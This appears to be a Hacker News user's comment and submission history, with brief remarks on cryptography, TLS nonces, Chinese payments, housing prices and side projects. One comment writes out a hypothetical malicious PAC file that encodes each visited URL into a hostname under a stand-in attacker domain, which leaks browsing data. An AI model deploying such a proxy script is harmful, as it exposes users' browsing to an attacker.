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by zhuzhuor 8y ago
The article is about hash-based signatures, not signatures in general or public-key signatures (DSA or RSA).
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by zhuzhuor 10y ago
Perhaps, as some other persons commented on the thread, the housing price at Vancouver was pushed high by oversea money? The other cities were not like this?
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by zhuzhuor 10y ago
IMO, the timing also coincides with Chinese government's several actions of tightening regulations for foreign exchanges/purchases. So it may be a combination of multiple factors (not sure which one is more significant) See https
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Better and more usable protection from phishing(security.googleblog.com)
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How China Is Changing Your Internet(nytimes.com)
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by zhuzhuor 10y ago
For crypto papers, I wrote a twitter bot to track all updates on the IACR ePrint archive: https://twitter.com/IACRePrint I basically just check my twitter account daily (also follow many great researchers who have twitter a
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by zhuzhuor 10y ago
It basically means the lacking of credit systems and mature fraud detections. If you lose your (credit) card or leak your credit card number, the bank won't probably reimburse your financial losses. Compared to credit cards, mobile pay
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by zhuzhuor 10y ago
From the description in the article, I guess the attack might use a PAC file like the following function FindProxyForURL(url, host) { return "PROXY " + base64(url) + ".malicious-proxy.tld:1080"; } Then the a
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by zhuzhuor 12y ago
Shameless plug :) http://jist.in
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by zhuzhuor 12y ago
It seems the patent has four inventors, but tinasu isn't one of them. Where did you get the name from?
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by zhuzhuor 13y ago
Maybe more background to add to the story: Originally, the source code of Waze clients was released under GPL, which AFAIR it was as branded as a part of the community-based map app. But the company chose to not release the source code
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by zhuzhuor 13y ago
CloudFront allows naked domains, so you can use naked domains for almost anything if you place a layer of CF before it. For example, for this case of GAE, you can use Naked domains <=> CloudFront <=> GAE
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How I hacked Github again(homakov.blogspot.com)
911 points by zhuzhuor 13y ago|190 comments
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by zhuzhuor 13y ago
I found one thing interesting is that only 4 out of 17 people choose equity over $10k salary. Even CTO chooses salary. I am curious if this is common in startup companies, since I have never worked in startups.
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by zhuzhuor 13y ago
(I speak Chinese.) The "rumor" seems already be verified by newspaper and media. See the article [1] on the website of Xinhuanet [2]. [1] http://news.xinhuanet.com/fortune/2013-12/17/c_125874796.htm
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by zhuzhuor 13y ago
Thanks. It's much better for me now
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by zhuzhuor 13y ago
off-topic: the red background seriously hurts my eyes
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by zhuzhuor 13y ago
quoted from the article: After reaching out to the Play team, their feedback was that though application itself is harmless, and not actually in violation of their Terms of Service,...
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by zhuzhuor 13y ago
Since every bitcoin transaction is in public, why don't we build a public blacklist for these addresses with stolen coins (and all addresses these bitcoins further transferred to)? such that the hackers cannot get too much from their a
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by zhuzhuor 13y ago
Do you know why is TLS doing that? But even without the 4 bytes, 64-bit nonce seems enough for me, as long as it's not chosen at random. For comparison, if the nonce is chosen randomly, the security level is only 2^32 (supposing the 4
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by zhuzhuor 13y ago
The second nit with AES-GCM is that, as integrated in TLS, implementations are free to use a random nonce value. However, the size of this nonce (8 bytes) is too small to safely support using this mode. Implementations that do so are at ri
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by zhuzhuor 13y ago
What concerns me more than the pricing is their monthly limits. $99/m can only allow 300 feedback forms collected in each month. That is only 10 per day
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by zhuzhuor 13y ago
AFAIK, USA has been a second choice for crypto-related conferences for many years. If you ever attended one such conference, you will notice there will always some speakers/presenters couldn't attend due to visa issues. I guess ma
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by zhuzhuor 13y ago
I had a BB 9800 and a BB 9900 before, and switched to Android phones for couples of years. From my own experience, BBM is still the most stable and comfortable IM app on mobile phones. I still miss the feeling about using BBM. I guess the b
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by zhuzhuor 13y ago
It is very interesting to see Twitter has the similar idea with ours. We just submitted a research paper 2 weeks ago to SPSM'13 ( http://www.spsm-workshop.org/2013/ ). We proposed a password-free login system , of
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by zhuzhuor 13y ago
For anyone who might be interested, I made a client-side javascript clone of gist.io. It supports listing gists with specific tags, such as "blog" (along with other features, e.g. custom css/js/html and latex) Home page:
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by zhuzhuor 13y ago
I sincerely doubt how ease and stable a local (actually home-based) service can be compared to cloud-based service.
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by zhuzhuor 13y ago
thx, this is awesome!
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Show HN: jist.in, displaying gist contents by client-side js for legibility(jist.in)
1 points by zhuzhuor 13y ago|0 comments
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by zhuzhuor 14y ago
It's an old story about Tom Skype. I have known Skype has two different versions for China and other countries for years. Why do you so emphasize Microsoft in the title? Because it's Microsoft?

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